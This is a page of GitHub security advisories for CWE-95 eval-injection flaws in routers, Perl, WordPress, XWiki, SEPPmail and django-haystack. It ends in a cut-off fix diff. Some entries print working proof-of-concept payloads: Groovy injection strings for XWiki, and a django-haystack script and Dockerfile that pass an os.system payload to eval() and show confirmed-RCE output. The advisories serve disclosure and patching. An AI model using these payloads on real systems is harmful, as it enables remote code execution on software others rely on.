Common Weakness Enumeration
CWE-95
AllowedImproper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
321 vulnerabilities reference this CWE, most recent first.
GHSA-Q6V4-FWC8-3MPC
Vulnerability from github – Published: 2026-02-05 18:30 – Updated: 2026-04-23 00:31
VLAI
Details
The response coming from TP-Link Archer MR200 v5.2, C20 v6, TL-WR850N v3, and TL-WR845N v4 for any request is getting executed by the JavaScript function like eval directly without any check. Attackers can exploit this vulnerability via a Man-in-the-Middle (MitM) attack to execute JavaScript code on the router's admin web portal without the user's permission or knowledge.
Severity
5.6 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-15551"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-05T18:16:09Z",
"severity": "MODERATE"
},
"details": "The response coming from TP-Link Archer MR200 v5.2, C20 v6, TL-WR850N v3, and TL-WR845N v4 for any request is getting executed by the JavaScript function like eval directly without any check.\u00a0Attackers can exploit this vulnerability via a Man-in-the-Middle (MitM) attack to execute JavaScript code on the router\u0027s admin web portal without the user\u0027s permission or knowledge.",
"id": "GHSA-q6v4-fwc8-3mpc",
"modified": "2026-04-23T00:31:12Z",
"published": "2026-02-05T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15551"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/download/archer-c20/v5/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/download/archer-c20/v6/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/download/archer-mr200/v5.20/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/download/tl-wr845n/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/in/support/download/archer-c20/v6/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/in/support/download/archer-mr200/v5.20/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/in/support/download/tl-wr845n/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/in/support/download/tl-wr850n/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/download/archer-c20/v5/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/faq/4948"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q6WX-VHVQ-X7H6
Vulnerability from github – Published: 2026-05-27 06:31 – Updated: 2026-08-05 15:31
VLAI
Details
IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.
_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.
Arbitrary Perl in the output glob executes at the calling process's privilege.
Severity
7.3 (High)
{
"affected": [],
"aliases": [
"CVE-2026-48962"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T04:16:31Z",
"severity": "HIGH"
},
"details": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process\u0027s privilege.",
"id": "GHSA-q6wx-vhvq-x7h6",
"modified": "2026-08-05T15:31:57Z",
"published": "2026-05-27T06:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48962"
},
{
"type": "WEB",
"url": "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481767"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-48962"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50262"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30860"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30859"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30858"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30851"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30843"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30115"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30086"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30085"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29941"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29867"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29210"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29182"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/27/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-Q943-6MG4-6PX7
Vulnerability from github – Published: 2025-08-06 03:30 – Updated: 2026-04-08 18:33
VLAI
Details
The Request a Quote Form plugin for WordPress is vulnerable to Remote Code Execution in version less than, or equal to, 2.5.2 via the emd_form_builder_lite_pagenum function. This is due to the plugin not properly validating user input before using it as a function name. This makes it possible for unauthenticated attackers to execute code on the server, however, parameters can not be passed to the functions called.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2025-8420"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T03:15:27Z",
"severity": "HIGH"
},
"details": "The Request a Quote Form plugin for WordPress is vulnerable to Remote Code Execution in version less than, or equal to, 2.5.2 via the emd_form_builder_lite_pagenum function. This is due to the plugin not properly validating user input before using it as a function name. This makes it possible for unauthenticated attackers to execute code on the server, however, parameters can not be passed to the functions called.",
"id": "GHSA-q943-6mg4-6px7",
"modified": "2026-04-08T18:33:55Z",
"published": "2025-08-06T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8420"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3346435"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3346460"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3347084"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3338854%40request-a-quote\u0026new=3338854%40request-a-quote\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3340992%40software-issue-manager\u0026new=3340992%40software-issue-manager\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3341064%40wp-ticket\u0026new=3341064%40wp-ticket\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3348220%40wp-easy-events\u0026new=3348220%40wp-easy-events\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3365190%40youtube-showcase\u0026new=3365190%40youtube-showcase\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/601aa2b5-aeac-49bc-960d-4b4ff83e9229?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCJF-2V2G-8464
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2023-06-26 21:30
VLAI
Details
Eaton Intelligent Power Manager (IPM) prior to 1.69 is vulnerable to unauthenticated eval injection vulnerability. The software does not neutralize code syntax from users before using in the dynamic evaluation call in loadUserFile function under scripts/libs/utils.js. Successful exploitation can allow attackers to control the input to the function and execute attacker controlled commands.
Severity
10.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2021-23277"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T19:15:00Z",
"severity": "CRITICAL"
},
"details": "Eaton Intelligent Power Manager (IPM) prior to 1.69 is vulnerable to unauthenticated eval injection vulnerability. The software does not neutralize code syntax from users before using in the dynamic evaluation call in loadUserFile function under scripts/libs/utils.js. Successful exploitation can allow attackers to control the input to the function and execute attacker controlled commands.",
"id": "GHSA-qcjf-2v2g-8464",
"modified": "2023-06-26T21:30:51Z",
"published": "2022-05-24T17:47:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23277"
},
{
"type": "WEB",
"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/eaton-intelligent-power-manager-ipm-vulnerability-advisory.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QJ86-P74R-7WP5
Vulnerability from github – Published: 2023-12-16 00:40 – Updated: 2023-12-16 00:40
VLAI
Summary
Remote code execution/programming rights with configuration section from any user account
Details
Impact
Anyone who can edit an arbitrary wiki page in an XWiki installation can gain programming right through several cases of missing escaping in the code for displaying sections in the administration interface. This impacts the confidentiality, integrity and availability of the whole XWiki installation. Normally, all users are allowed to edit their own user profile so this should be exploitable by all users of the XWiki instance.
The easiest way to reproduce this is to edit any document with the object editor and add an object of type XWiki.ConfigurableClass ("Custom configurable sections"). Set "Display in section" and "Display in Category" to "other", set scope to "Wiki and all spaces" and "Heading" to {{async}}{{groovy}}services.logging.getLogger("attacker").error("Attack from Heading succeeded!"); println("Hello from Groovy!"){{/groovy}}{{/async}}. Click "Save". Open <xwiki-host>/xwiki/bin/view/Main/?sheet=XWiki.AdminSheet&viewer=content&editor=globaladmin§ion=other where <xwiki-host> is the URL of your XWiki installation. If this displays just "Hello from Groovy!" in a heading and generates an error message with content "Attack from Heading succeeded!" in XWiki's log, the attack succeeded. Similar attacks are also possible by creating this kind of object on a document with a specially crafted name, see the referenced Jira issues for more reproduction steps.
Patches
This has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1
Workarounds
It is possible to manually apply the fixes for the vulnerability by editing two pages in the wiki. This patch needs to be applied to the page XWiki.ConfigurableClassMacros. Further, the following patches need to be applied to the page XWiki.ConfigurableClass:
- https://github.com/xwiki/xwiki-platform/commit/749f6aee1bfbcf191c3734ea0aa9eba3aa63240e#diff-bf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
- https://github.com/xwiki/xwiki-platform/commit/1157c1ecea395aac7f64cd8a6f484b1225416dc7#diff-bf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
- https://github.com/xwiki/xwiki-platform/commit/0f367aaae4e0696f61cf5a67a75edd27d1d16db6
Note that also the page XWiki.ConfigurableClass needs to be changed to xwiki/2.1 syntax for the escaping to work properly but the security vulnerability is fixed also without changing the syntax.
References
- https://github.com/xwiki/xwiki-platform/commit/bd82be936c21b65dee367d558e3050b9b6995713
- https://github.com/xwiki/xwiki-platform/commit/749f6aee1bfbcf191c3734ea0aa9eba3aa63240e
- https://github.com/xwiki/xwiki-platform/commit/1157c1ecea395aac7f64cd8a6f484b1225416dc7
- https://github.com/xwiki/xwiki-platform/commit/0f367aaae4e0696f61cf5a67a75edd27d1d16db6
- https://jira.xwiki.org/browse/XWIKI-21122
- https://jira.xwiki.org/browse/XWIKI-21121
- https://jira.xwiki.org/browse/XWIKI-21194
Severity
9.9 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "2.3"
},
{
"fixed": "14.10.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "15.0-rc-1"
},
{
"fixed": "15.5.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "15.6-rc-1"
},
{
"fixed": "15.7-rc-1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-50723"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-16T00:40:04Z",
"nvd_published_at": "2023-12-15T19:15:10Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nAnyone who can edit an arbitrary wiki page in an XWiki installation can gain programming right through several cases of missing escaping in the code for displaying sections in the administration interface. This impacts the confidentiality, integrity and availability of the whole XWiki installation. Normally, all users are allowed to edit their own user profile so this should be exploitable by all users of the XWiki instance.\n\nThe easiest way to reproduce this is to edit any document with the object editor and add an object of type `XWiki.ConfigurableClass` (\"Custom configurable sections\"). Set \"Display in section\" and \"Display in Category\" to \"other\", set scope to \"Wiki and all spaces\" and \"Heading\" to `{{async}}{{groovy}}services.logging.getLogger(\"attacker\").error(\"Attack from Heading succeeded!\"); println(\"Hello from Groovy!\"){{/groovy}}{{/async}}`. Click \"Save\". Open `\u003cxwiki-host\u003e/xwiki/bin/view/Main/?sheet=XWiki.AdminSheet\u0026viewer=content\u0026editor=globaladmin\u0026section=other` where `\u003cxwiki-host\u003e` is the URL of your XWiki installation. If this displays just \"Hello from Groovy!\" in a heading and generates an error message with content \"Attack from Heading succeeded!\" in XWiki\u0027s log, the attack succeeded. Similar attacks are also possible by creating this kind of object on a document with a specially crafted name, see the referenced Jira issues for more reproduction steps.\n\n### Patches\nThis has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1\n\n### Workarounds\n\nIt is possible to manually apply the fixes for the vulnerability by editing two pages in the wiki. [This patch](https://github.com/xwiki/xwiki-platform/commit/bd82be936c21b65dee367d558e3050b9b6995713#diff-0c8db1bc71d4e1508c0667050741827551ba130f324b3213352bc4a67645f648) needs to be applied to the page `XWiki.ConfigurableClassMacros`. Further, the following patches need to be applied to the page `XWiki.ConfigurableClass`:\n\n* https://github.com/xwiki/xwiki-platform/commit/749f6aee1bfbcf191c3734ea0aa9eba3aa63240e#diff-bf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce\n* https://github.com/xwiki/xwiki-platform/commit/1157c1ecea395aac7f64cd8a6f484b1225416dc7#diff-bf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce\n* https://github.com/xwiki/xwiki-platform/commit/0f367aaae4e0696f61cf5a67a75edd27d1d16db6\n\nNote that also the page `XWiki.ConfigurableClass` needs to be changed to `xwiki/2.1` syntax for the escaping to work properly but the security vulnerability is fixed also without changing the syntax.\n\n### References\n\n* https://github.com/xwiki/xwiki-platform/commit/bd82be936c21b65dee367d558e3050b9b6995713\n* https://github.com/xwiki/xwiki-platform/commit/749f6aee1bfbcf191c3734ea0aa9eba3aa63240e\n* https://github.com/xwiki/xwiki-platform/commit/1157c1ecea395aac7f64cd8a6f484b1225416dc7\n* https://github.com/xwiki/xwiki-platform/commit/0f367aaae4e0696f61cf5a67a75edd27d1d16db6\n* https://jira.xwiki.org/browse/XWIKI-21122\n* https://jira.xwiki.org/browse/XWIKI-21121\n* https://jira.xwiki.org/browse/XWIKI-21194",
"id": "GHSA-qj86-p74r-7wp5",
"modified": "2023-12-16T00:40:04Z",
"published": "2023-12-16T00:40:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qj86-p74r-7wp5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50723"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/0f367aaae4e0696f61cf5a67a75edd27d1d16db6"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/1157c1ecea395aac7f64cd8a6f484b1225416dc7"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/749f6aee1bfbcf191c3734ea0aa9eba3aa63240e"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/bd82be936c21b65dee367d558e3050b9b6995713"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-21121"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-21122"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-21194"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Remote code execution/programming rights with configuration section from any user account"
}
GHSA-QWQ6-R6C6-68JR
Vulnerability from github – Published: 2026-05-08 15:31 – Updated: 2026-05-18 18:31
VLAI
Details
SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a parameter to Perl's eval.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-44128"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-08T14:16:45Z",
"severity": "CRITICAL"
},
"details": "SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an\u00a0endpoint passes attacker-controlled input from a\u00a0parameter to Perl\u0027s\u00a0eval.",
"id": "GHSA-qwq6-r6c6-68jr",
"modified": "2026-05-18T18:31:24Z",
"published": "2026-05-08T15:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44128"
},
{
"type": "WEB",
"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#security"
},
{
"type": "WEB",
"url": "https://labs.infoguard.ch/posts/seppmail_secure_e-mail_gateway_rce_vulnerabilities_cve-2026-2743_cve-2026-7864_cve-2026-44127_cve-2026-44128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QX9H-C5V6-GHQH
Vulnerability from github – Published: 2023-04-12 20:35 – Updated: 2023-04-26 20:33
VLAI
Summary
org.xwiki.platform:xwiki-platform-panels-ui Eval Injection vulnerability
Details
Impact
Any user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the IncludedDocuments panel.
Precondition: As an admin, add the Panels.IncludedDocuments panel on one column.
A proof of concept exploit is to edit a document and add the following code before saving.
{{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}}
expected The right had side panels contain:
One included page:
{{cache}}{{groovy}}println("Hello from Groovy" + " in included document!"){{/groovy}}{{/cache}}
actual The right had side panels contain:
One included page:
XWiki.Hello from Groovy in included document!
Patches
The problem has been patched on XWiki 14.4.7, and 14.10.
Workarounds
The issue can be fixed manually applying this patch.
References
- https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67
- https://jira.xwiki.org/browse/XWIKI-20306
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Severity
9.9 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-panels-ui"
},
"ranges": [
{
"events": [
{
"introduced": "1.1-M2"
},
{
"fixed": "13.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-panels-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.0-rc-1"
},
{
"fixed": "14.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-panels-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29214"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-12T20:35:50Z",
"nvd_published_at": "2023-04-16T07:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAny user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the IncludedDocuments panel.\n\n**Precondition**: As an admin, add the `Panels.IncludedDocuments` panel on one column.\n\nA proof of concept exploit is to edit a document and add the following code before saving.\n\n```\n{{display reference=\"{{cache~}~}{{groovy~}~}println(~\"Hello from Groovy~\" + ~\" in included document!~\"){{/groovy~}~}{{/cache~}~}\"/}}\n```\n\n**expected**\nThe right had side panels contain:\n```\nOne included page: \n{{cache}}{{groovy}}println(\"Hello from Groovy\" + \" in included document!\"){{/groovy}}{{/cache}}\n```\n\n**actual**\nThe right had side panels contain:\n```\nOne included page:\n XWiki.Hello from Groovy in included document!\n```\n\n### Patches\nThe problem has been patched on XWiki 14.4.7, and 14.10.\n\n### Workarounds\nThe issue can be fixed manually applying this [patch](https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67).\n\n### References\n- https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67\n- https://jira.xwiki.org/browse/XWIKI-20306\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-qx9h-c5v6-ghqh",
"modified": "2023-04-26T20:33:30Z",
"published": "2023-04-12T20:35:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qx9h-c5v6-ghqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29214"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20306"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "org.xwiki.platform:xwiki-platform-panels-ui Eval Injection vulnerability"
}
GHSA-R3HX-X5RH-P9VV
Vulnerability from github – Published: 2026-07-15 22:42 – Updated: 2026-07-15 22:42
VLAI
Summary
django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization
Details
Remote Code Execution via eval() in Elasticsearch Result Deserialization
Summary
The Elasticsearch backend in django-haystack calls eval() on raw field values returned from Elasticsearch when a SearchField is declared with an index_fieldname alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to _to_python() → eval(). An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: 8.5 (High).
Details
Sink — haystack/backends/elasticsearch_backend.py:865:
converted_value = eval(value)
_to_python() (line ~850) attempts to parse a string value by calling eval() before performing any type-safety check. If the value is an attacker-controlled Python expression such as __import__('os').system(...), the expression is executed unconditionally.
Root cause — haystack/backends/elasticsearch_backend.py:727–737:
for key, value in source.items():
string_key = str(key)
if string_key in index.fields and hasattr(index.fields[string_key], "convert"):
additional_fields[string_key] = index.fields[string_key].convert(value)
else:
additional_fields[string_key] = self._to_python(value)
index.fields is keyed by the logical field name (e.g. "name"), but Elasticsearch stores the document under the index_fieldname alias (e.g. "name_s"). Because "name_s" not in index.fields, the branch falls through to self._to_python(value).
Data flow (source → sink):
haystack/indexes.py:226—self.prepared_data[field.index_fieldname] = field.prepare(obj)stores data under the alias.haystack/backends/elasticsearch_backend.py:218— prepared data copied intofinal_data.haystack/backends/elasticsearch_backend.py:236—bulk(...)writes the document to Elasticsearch under the alias key.haystack/backends/elasticsearch_backend.py:574— search reads attacker-influenced_sourceback from Elasticsearch.haystack/backends/elasticsearch_backend.py:720—_process_results()takesraw_result["_source"].haystack/backends/elasticsearch_backend.py:730— lookupstring_key in index.fieldsfails for alias keys.haystack/backends/elasticsearch_backend.py:737— unmatched value passed to_to_python(value).haystack/backends/elasticsearch_backend.py:865— sink:converted_value = eval(value).
Missing fix: The Solr backend correctly remaps aliases at haystack/backends/solr_backend.py:535–539 using index.field_map before performing the index.fields lookup. The Elasticsearch backend has no equivalent remapping.
Preconditions:
- The application uses the Elasticsearch backend.
- At least one
SearchFieldin aSearchIndexis declared withindex_fieldnameset to a value different from the logical attribute name. - The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).
- The attacker can trigger or wait for a search that returns the malicious document.
PoC
Environment setup (Docker):
# Build the proof-of-concept image
docker build -t vuln001-poc \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/pypiAi_436_django-haystack__django-haystack/
# Run the PoC — exits 0 on confirmed RCE
docker run --rm vuln001-poc
Dockerfile (vuln-001/Dockerfile):
FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir setuptools setuptools_scm wheel
COPY repo/ /app/repo/
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
PoC script (vuln-001/poc.py) — key sections:
# SearchField with index_fieldname alias
class MockField:
index_fieldname = "name_s" # ES key
def convert(self, value): return str(value)
class MockIndex:
fields = {"name": MockField()} # logical key — "name_s" NOT present
field_map = {"name_s": "name"}
# Malicious payload placed in the alias key of a crafted ES _source response
MARKER_FILE = "/tmp/django_haystack_eval_rce_proof"
payload = (
f"__import__('os').system("
f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')"
)
raw_results = {"hits": {"total": 1, "hits": [{
"_score": 1.0,
"_source": {
"django_ct": "app.model",
"django_id": "1",
"name_s": payload, # alias key → lookup fails → eval()
},
}]}}
backend._process_results(raw_results)
# Confirms RCE: /tmp/django_haystack_eval_rce_proof contains "PWNED_BY_EVAL_RCE"
Observed output (Phase 2 dynamic reproduction):
============================================================
VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend
============================================================
[*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof')
[*] Marker : /tmp/django_haystack_eval_rce_proof
[*] Sink : elasticsearch_backend.py:865 eval(value)
[+] SUCCESS: RCE CONFIRMED
[+] Marker file created: /tmp/django_haystack_eval_rce_proof
[+] File content: PWNED_BY_EVAL_RCE
RESULT: PASS - VULN-001 is dynamically reproduced and exploitable
Recommended remediation:
--- a/haystack/backends/elasticsearch_backend.py
+++ b/haystack/backends/elasticsearch_backend.py
-import re
+import ast
+import re
index = source and unified_index.get_index(model)
+ index_field_map = index.field_map
for key, value in source.items():
string_key = str(key)
+ if string_key in index_field_map:
+ string_key = index_field_map[string_key]
if string_key in index.fields and hasattr(
